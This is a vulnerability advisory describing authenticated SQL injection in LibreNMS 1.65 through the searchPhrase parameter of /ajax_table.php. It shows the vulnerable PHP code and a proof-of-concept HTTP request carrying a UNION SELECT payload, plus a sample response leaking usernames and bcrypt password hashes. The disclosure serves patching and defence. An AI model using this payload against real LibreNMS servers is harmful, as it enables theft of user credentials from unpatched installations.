LibreNMS searchPhrase multiple authenticated SQL injections

Summary

LibreNMS 1.65 is affected by multiple SQL Injection vulnerabilities via the searchPhrase parameter in the /ajax_table.php API endpoint. A ‘normal’ privileges attacker can gain access to the database in use by LibreNMS.

Product description (from vendor)

“LibreNMS is an autodiscovering PHP/MySQL/SNMP based network monitoring which includes support for a wide range of network hardware and operating systems including Cisco, Linux, FreeBSD, Juniper, Brocade, Foundry, HP and many more”. For more information on LibreNMS, visit https://www.librenms.org/.

CVE(s)

Details

Root cause analysis

The /ajax_table.php API endpoint allows the user to retrieve information from many modules, specified by the id parameter in https://github.com/librenms/librenms/blob/1.65/html/ajax_table.php :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
    <?php

    [...]
    
    $searchPhrase = $_REQUEST['searchPhrase'];
--> $id           = basename($_REQUEST['id']);
    $response     = array();

    if ($id && file_exists("includes/html/table/$id.inc.php")) {
        header('Content-type: application/json');
-->     include_once "includes/html/table/$id.inc.php";
    }

Many modules use the input searchPhrase parameter without any parametrization in a SQL query, for example https://github.com/librenms/librenms/blob/1.65/includes/html/table/as-selection.inc.php :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
    <?php

    // Exclude Private and reserved ASN ranges
    // 64512 - 65535
    // 4200000000 - 4294967295
    $sql = " FROM `devices` WHERE `disabled` = 0 AND `ignore` = 0 AND `bgpLocalAs` > 0 AND (`bgpLocalAs` < 64512 OR `bgpLocalAs` > 65535) AND `bgpLocalAs` < 4200000000 ";

    if (isset($searchPhrase) && !empty($searchPhrase)) {
-->     $sql .= " AND (`bgpLocalAs` LIKE '%$searchPhrase%')";
    }

    $count_sql = "SELECT COUNT(*) $sql";

    $total     = dbFetchCell($count_sql);
    [...]

Such vulnerable code pattern is shared by many other modules, all exploitable too:

Proof of concept

  1. Log-in LibreNMS and take note of the X-CSRF-TOKEN HTTP header and XSRF-TOKEN and laravel_session HTTP cookies values
  2. Edit with your own values and perform the following HTTP request:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
POST /ajax_table.php HTTP/1.1
Host: <EDIT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:76.0) Gecko/20100101 Firefox/76.0
Content-Type: application/x-www-form-urlencoded
X-CSRF-TOKEN: <EDIT>
X-Requested-With: XMLHttpRequest
Content-Length: 144
Connection: close
Cookie: XSRF-TOKEN=<EDIT>; laravel_session=<EDIT>

current=1&rowCount=50&searchPhrase=')%20UNION%20SELECT%20CONCAT(username,':',password)%20from%20users%20--%20a&id=as-selection

Note the HTTP request includes the malicious payload ') UNION SELECT CONCAT(username,':',password) from users -- a which will merge the query results with all the users' authentication information.

  1. Notice in the HTTP response all the users' names and hashed passwords, e.g.:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
HTTP/1.1 200 OK
Server: nginx/1.16.1
Date: Fri, 03 Jul 2020 23:59:04 GMT
Content-Type: application/json
Connection: close
X-Powered-By: PHP/7.2.27
Content-Length: 856

{
    "current": 1,
    "rowCount": 50,
    "rows": [
        {
            "bgpLocalAs": "librenms:$2y$10$dixB1KDJVjniewZAEsLcu.WtKVo6kq.uTWjyzIxmI1KiafPdqlK/6",
            "asname": "",
            "action": "<a class='btn btn-sm btn-primary' href='http://192.168.252.129/peering/section=ix-list/bgpLocalAs=librenms%3A%242y%2410%24dixB1KDJVjniewZAEsLcu.WtKVo6kq.uTWjyzIxmI1KiafPdqlK%2F6/' role='button'>Show connected IXes</a>"
        },
        {
            "bgpLocalAs": "normaluser:$2y$10$DgIgPc1c/hsfs0h6Rwc1Ee0sEEAV3XjIK2GwNdCGekpa.frtqgBlK",
            "asname": "",
            "action": "<a class='btn btn-sm btn-primary' href='http://192.168.252.129/peering/section=ix-list/bgpLocalAs=normaluser%3A%242y%2410%24DgIgPc1c%2Fhsfs0h6Rwc1Ee0sEEAV3XjIK2GwNdCGekpa.frtqgBlK/' role='button'>Show connected IXes</a>"
        }
    ],
    "total": 0
}

Impact

A low-privileged attacker can gain access to the database in use by LibreNMS.

Remediation

The searchPhrase parameter is now used via SQL query parametrization. Upgrade to LibreNMS 1.65.1 or later.

Disclosure timeline

This report was subject to Shielder’s disclosure policy:

Credits

`polict` of Shielder

Data

10 July 2020